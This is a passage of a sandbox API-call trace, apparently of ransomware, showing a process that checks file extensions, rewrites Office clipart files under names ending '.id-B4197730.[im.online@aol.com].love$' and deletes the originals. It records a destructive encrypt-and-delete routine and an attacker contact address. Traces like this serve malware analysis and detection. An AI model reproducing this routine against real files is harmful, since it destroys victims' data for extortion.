Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.180] lstrlenW (lpString=".jpg") returned 4 [0246.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.181] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0246.181] lstrlenW (lpString="EN00222_.WMF") returned 12 [0246.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0246.182] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=12356) returned 1 [0246.182] CloseHandle (hObject=0x388) returned 1 [0246.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0246.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0246.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0246.183] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.183] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0246.184] GetLastError () returned 0x0 [0246.184] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3044, lpOverlapped=0x0) returned 1 [0246.208] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3050, lpOverlapped=0x0) returned 1 [0246.209] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.209] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0246.209] SetEndOfFile (hFile=0x548) returned 1 [0247.065] CloseHandle (hObject=0x548) returned 1 [0247.065] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.065] SetEndOfFile (hFile=0x388) returned 1 [0247.068] CloseHandle (hObject=0x388) returned 1 [0247.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0247.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.069] lstrlenW (lpString=".doc") returned 4 [0247.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.069] lstrlenW (lpString=".docx") returned 5 [0247.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.070] lstrlenW (lpString=".pdf") returned 4 [0247.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.070] lstrlenW (lpString=".xls") returned 4 [0247.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.070] lstrlenW (lpString=".xlsx") returned 5 [0247.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.070] lstrlenW (lpString=".ppt") returned 4 [0247.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.070] lstrlenW (lpString=".zip") returned 4 [0247.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.070] lstrlenW (lpString=".rar") returned 4 [0247.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.070] lstrlenW (lpString=".bz2") returned 4 [0247.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.070] lstrlenW (lpString=".7z") returned 3 [0247.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.070] lstrlenW (lpString=".dbf") returned 4 [0247.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.070] lstrlenW (lpString=".1cd") returned 4 [0247.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.070] lstrlenW (lpString=".jpg") returned 4 [0247.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.070] lstrlenW (lpString=".doc") returned 4 [0247.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.071] lstrlenW (lpString=".docx") returned 5 [0247.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.071] lstrlenW (lpString=".pdf") returned 4 [0247.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.071] lstrlenW (lpString=".xls") returned 4 [0247.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.071] lstrlenW (lpString=".xlsx") returned 5 [0247.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.071] lstrlenW (lpString=".ppt") returned 4 [0247.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.071] lstrlenW (lpString=".zip") returned 4 [0247.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.071] lstrlenW (lpString=".rar") returned 4 [0247.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.071] lstrlenW (lpString=".bz2") returned 4 [0247.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.071] lstrlenW (lpString=".7z") returned 3 [0247.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.071] lstrlenW (lpString=".dbf") returned 4 [0247.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.071] lstrlenW (lpString=".1cd") returned 4 [0247.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0247.071] lstrlenW (lpString=".jpg") returned 4 [0247.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.084] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.084] lstrlenW (lpString="EN00319_.WMF") returned 12 [0247.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.085] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2280) returned 1 [0247.085] CloseHandle (hObject=0x388) returned 1 [0247.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0247.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.086] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.086] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.088] GetLastError () returned 0x0 [0247.088] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x8e8, lpOverlapped=0x0) returned 1 [0247.166] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x8f0, lpOverlapped=0x0) returned 1 [0247.168] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.168] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.168] SetEndOfFile (hFile=0x548) returned 1 [0247.174] CloseHandle (hObject=0x548) returned 1 [0247.178] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.178] SetEndOfFile (hFile=0x388) returned 1 [0247.185] CloseHandle (hObject=0x388) returned 1 [0247.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0247.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.187] lstrlenW (lpString=".doc") returned 4 [0247.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.187] lstrlenW (lpString=".docx") returned 5 [0247.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.187] lstrlenW (lpString=".pdf") returned 4 [0247.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.187] lstrlenW (lpString=".xls") returned 4 [0247.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.187] lstrlenW (lpString=".xlsx") returned 5 [0247.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.187] lstrlenW (lpString=".ppt") returned 4 [0247.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.187] lstrlenW (lpString=".zip") returned 4 [0247.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.187] lstrlenW (lpString=".rar") returned 4 [0247.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.187] lstrlenW (lpString=".bz2") returned 4 [0247.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.187] lstrlenW (lpString=".7z") returned 3 [0247.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.188] lstrlenW (lpString=".dbf") returned 4 [0247.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.188] lstrlenW (lpString=".1cd") returned 4 [0247.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.188] lstrlenW (lpString=".jpg") returned 4 [0247.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.188] lstrlenW (lpString=".doc") returned 4 [0247.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.188] lstrlenW (lpString=".docx") returned 5 [0247.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.188] lstrlenW (lpString=".pdf") returned 4 [0247.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.188] lstrlenW (lpString=".xls") returned 4 [0247.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.188] lstrlenW (lpString=".xlsx") returned 5 [0247.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.188] lstrlenW (lpString=".ppt") returned 4 [0247.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.188] lstrlenW (lpString=".zip") returned 4 [0247.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.188] lstrlenW (lpString=".rar") returned 4 [0247.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.188] lstrlenW (lpString=".bz2") returned 4 [0247.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.189] lstrlenW (lpString=".7z") returned 3 [0247.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.189] lstrlenW (lpString=".dbf") returned 4 [0247.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.189] lstrlenW (lpString=".1cd") returned 4 [0247.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0247.189] lstrlenW (lpString=".jpg") returned 4 [0247.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.189] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.189] lstrlenW (lpString="EN00902_.WMF") returned 12 [0247.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.190] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7944) returned 1 [0247.190] CloseHandle (hObject=0x388) returned 1 [0247.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0247.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.191] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.191] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0247.193] GetLastError () returned 0x0 [0247.193] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0247.195] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0247.196] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.196] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.196] SetEndOfFile (hFile=0x4c8) returned 1 [0247.196] CloseHandle (hObject=0x4c8) returned 1 [0247.197] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.197] SetEndOfFile (hFile=0x388) returned 1 [0247.200] CloseHandle (hObject=0x388) returned 1 [0247.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0247.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.202] lstrlenW (lpString=".doc") returned 4 [0247.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.202] lstrlenW (lpString=".docx") returned 5 [0247.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.202] lstrlenW (lpString=".pdf") returned 4 [0247.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.202] lstrlenW (lpString=".xls") returned 4 [0247.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.202] lstrlenW (lpString=".xlsx") returned 5 [0247.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.202] lstrlenW (lpString=".ppt") returned 4 [0247.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.203] lstrlenW (lpString=".zip") returned 4 [0247.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.203] lstrlenW (lpString=".rar") returned 4 [0247.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.203] lstrlenW (lpString=".bz2") returned 4 [0247.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.203] lstrlenW (lpString=".7z") returned 3 [0247.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.203] lstrlenW (lpString=".dbf") returned 4 [0247.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.203] lstrlenW (lpString=".1cd") returned 4 [0247.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.203] lstrlenW (lpString=".jpg") returned 4 [0247.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.203] lstrlenW (lpString=".doc") returned 4 [0247.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.203] lstrlenW (lpString=".docx") returned 5 [0247.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.203] lstrlenW (lpString=".pdf") returned 4 [0247.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.203] lstrlenW (lpString=".xls") returned 4 [0247.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.203] lstrlenW (lpString=".xlsx") returned 5 [0247.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.203] lstrlenW (lpString=".ppt") returned 4 [0247.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.204] lstrlenW (lpString=".zip") returned 4 [0247.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.204] lstrlenW (lpString=".rar") returned 4 [0247.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.204] lstrlenW (lpString=".bz2") returned 4 [0247.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.204] lstrlenW (lpString=".7z") returned 3 [0247.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.204] lstrlenW (lpString=".dbf") returned 4 [0247.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.204] lstrlenW (lpString=".1cd") returned 4 [0247.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0247.204] lstrlenW (lpString=".jpg") returned 4 [0247.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.204] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.204] lstrlenW (lpString="FD00074_.WMF") returned 12 [0247.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, 